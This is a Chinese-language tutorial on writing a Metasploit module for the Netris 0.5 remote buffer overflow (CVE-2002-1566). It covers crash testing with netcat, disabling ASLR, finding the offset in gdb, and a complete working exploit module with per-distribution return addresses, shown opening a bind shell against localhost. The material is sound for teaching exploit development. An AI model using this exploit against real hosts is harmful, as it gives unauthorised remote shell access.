Metasploit/编写 Linux 漏洞利用
在本教程中,我将向您展示如何从漏洞报告开始,为 Metasploit 框架创建一个漏洞利用模块。
我选择的要利用的程序是 Netris 0.5。我之所以选择它,是因为它的漏洞是一个简单的缓冲区溢出,它是远程的,并且已经有了一个可以作为起点的工作漏洞利用。您可以参考这个漏洞这里。请注意,此漏洞仅适用于 0.5 版本。
首先,获取 Netris 0.5 的源代码。您可以从这里获取。编译它,并确保它运行没有错误。
为此发布的漏洞利用解释说我们的缓冲区应该像这样
[68 filler bytes][nops][shellcode][return address]
但是,让我们从更简单的东西开始。让我们看看当我们向 Netris 服务器发送一堆“A”时会发生什么。
在一个 shell 中
$ gdb netris
现在您进入了 gdb 并准备运行 Netris。从 gdb 提示符开始,启动服务器
(gdb) run -w
现在,在另一个 shell 中
$ ruby -e 'print "A"*16000'| nc localhost 9284
您可能需要使用 ctrl+c 从 netcat 中退出,但完成后,请查看您的 gdb 会话。它应该看起来像这样
Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
这很完美。这表明我们只是将指令指针($eip)覆盖为 0x41414141,它是 AAAA 的十六进制表示。
由于我们可以控制指令指针,因此我们可以控制此程序的流程。从这里开始,您可能需要将内核设置为不使用随机化虚拟寻址。您可以使用 sysctrl 使用以下命令执行此操作
$ sudo sysctl -w kernel.randomize_va_space=0
这样缓冲区就会每次存储在相对相同的位置,允许我们返回到它。
首先,从一个相对通用的漏洞利用脚本开始。您可以直接复制 modules/exploits/linux 下的 Linux 漏洞利用之一来开始。
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Netris 0.5 Buffer Overflow (Linux)',
'Description' => %q{
Netris 0.5 exploit.
Discovery of this issue is credited to Artur Byszko / bajkero.
},
'Version' => '0.1.0',
'Author' => ['dougsko'],
'License' => GPL_LICENSE,
'References' =>
[
[ 'BID', '5680'],
[ 'CVE', '2002-1566' ],
[ 'URL', 'http://securityvulns.com/files/netrisx.c' ],
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/10081' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => ['linux'],
'Targets' =>
[
[ 'Ubuntu 8.04',
{ 'Ret' => 0x80522b0,
'Arch' => [ARCH_X86 ],
'BufSize' => 9692,
}
],
],
'DisclosureDate' => '08/14/2003',
'DefaultTarget' => 0 ))
register_options( [ Opt::RPORT(9284) ], self.class)
end
def exploit
end
end
请注意,我已经填写了有关此漏洞利用的一些特定信息。我们需要了解的下一个重要信息是返回地址。我们需要一个指向缓冲区内的某个位置的地址。找到这个地址可能有点棘手,但这是我的方法
- 在 gdb 中运行 Netris。
- 用一堆“A”覆盖它。
- 看一下 netBuf 函数,因为这是溢出发生的位置附近。(您确实阅读了漏洞说明,对吧……?)
(gdb) x/20s netBuf 0x8052260 <netBuf>: 'A' <repeats 64 times> 0x80522a1 <netBufSize+1>: "" 0x80522a2 <netBufSize+2>: "" 0x80522a3 <netBufSize+3>: "" 0x80522a4 <isServer>: 'A' <repeats 200 times>... 0x805236c: 'A' <repeats 200 times>... 0x8052434 <opponentHost+116>: 'A' <repeats 200 times>... 0x80524fc <scratch+28>: 'A' <repeats 200 times>... 0x80525c4 <scratch+228>: 'A' <repeats 200 times>... 0x805268c <scratch+428>: 'A' <repeats 200 times>... 0x8052754 <scratch+628>: 'A' <repeats 200 times>... 0x805281c <scratch+828>: 'A' <repeats 200 times>... 0x80528e4 <curShape>: 'A' <repeats 200 times>... 0x80529ac: 'A' <repeats 200 times>... 0x8052a74: 'A' <repeats 200 times>... 0x8052b3c: 'A' <repeats 200 times>... 0x8052c04: 'A' <repeats 200 times>... 0x8052ccc: 'A' <repeats 200 times>... 0x8052d94: 'A' <repeats 200 times>... 0x8052e5c: 'A' <repeats 200 times>...
请注意,在 0x80529ac 之后,内存基本上充满了我们的 A。我只是在 0x80529ac 之后随机选择了一个地址,并使用了 0x80522b0。这是可以的,因为我们将使用一个大的 NOP 垫,因此在返回地址方面,我们不必非常精确。下一步是找出我们的缓冲区需要多长才能溢出缓冲区,但仍然用我们的返回地址正确地覆盖 EIP 寄存器。
为此,我们将使用 tools 文件夹下的 scripts patter_create.rb 和 pattern_offset.rb 脚本。首先,再次在 gdb 中启动 Netris
$ gdb netris (gdb) run -w
在另一个 shell 中,使用 pattern_create.rb 脚本创建您的溢出字符串
./pattern_create.rb 16000 | nc localhost 9284
这将导致溢出
Program received signal SIGSEGV, Segmentation fault. 0x316c4d30 in ?? ()
现在,我们看到 EIP 已经被覆盖为 0x316c4d30,这是我们发送给服务器的字母模式。为了找出这需要多大的缓冲区,我们使用 pattern_offset.rb
./pattern_offset.rb 0x316c4d30 16000 9692
我们看到我们的缓冲区大小应该是 9692 字节。将其放入我们漏洞利用模块的目标定义中。我们现在准备开始行动了。
我们现在要做的就是在我们正在编写的模块中定义我们的漏洞利用方法。
def exploit
print_status("Generating buffer")
buf = make_nops(target['BufSize'] - payload.encoded.length) + payload.encoded + [target.ret].pack('V')
print_status("Sending \#{buf.size} byte buffer...")
connect
sock.put(buf)
sock.get
handler
disconnect
end
这将以如下方式设置我们的攻击缓冲区
[NOPs][shellcode][return address] total: 9692 bytes
然后,我们使用 sock.put(buf) 发送它。框架实际上处理了涉及的大多数其他细节,包括 shellcode 生成。以下是我的最终漏洞利用模块的样子
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Netris 0.5 Buffer Overflow (Linux)',
'Description' => %q{
Netris 0.5 exploit.
Discovery of this issue is credited to Artur Byszko / bajkero.
},
'Version' => '0.1.0',
'Author' => ['dougsko'],
'License' => GPL_LICENSE,
'References' =>
[
[ 'BID', '5680'],
[ 'CVE', '2002-1566' ],
[ 'URL', 'http://securityvulns.com/files/netrisx.c' ],
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/10081' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => ['linux'],
'Targets' =>
[
[ 'Ubuntu 6.06',
{ 'Ret' => 0x80544f0,
'Arch' => [ ARCH_X86 ],
'BufSize' => 11552,
}
],
[ 'Ubuntu 7.04',
{ 'Ret' => 0x80544f0,
'Arch' => [ ARCH_X86 ],
'BufSize' => 12148,
}
],
[ 'Ubuntu 8.04',
{ 'Ret' => 0x80522b0,
'Arch' => [ARCH_X86 ],
'BufSize' => 9692,
}
],
[ 'Backtrack 2',
{ 'Ret' => 0x80544f0,
'Arch' => [ ARCH_X86 ],
'BufSize' => 12120,
}
],
],
'DisclosureDate' => '08/14/2003',
'DefaultTarget' => 0 ))
register_options( [ Opt::RPORT(9284) ], self.class)
end
def exploit
print_status("Generating buffer")
#buf = pattern_create(16000) # debug
#buf = "A"*(target['BufSize'] +4)
buf = make_nops(target['BufSize'] - payload.encoded.length) + payload.encoded +
[target.ret].pack('V')
print_status("Sending \#{buf.size} byte buffer...")
connect
sock.put(buf)
sock.get
handler
disconnect
end
end
在 modules/exploits/ 下创建一个名为 mine 的文件夹,并将该文件放入其中。以下是运行漏洞利用时的样子。请注意,我以 doug 用户身份运行 Netris 服务器。
./msfcli mine/netris rhost=localhost target=2 payload=linux/x86/shell_bind_tcp E
[*] Started bind handler [*] Generating buffer [*] Sending 9696 byte buffer... [*] Command shell session 1 opened (127.0.0.1:36044 -> 127.0.0.1:4444)
id uid=1000(doug) gid=1000(doug), groups=4(adm),20(dialout),24(cdrom) ...etc
就是这样。我们刚刚从漏洞报告到一个工作的漏洞利用。我似乎在使用 linux/x86/shell_bind_tcp 有效负载时运气最好。玩得开心!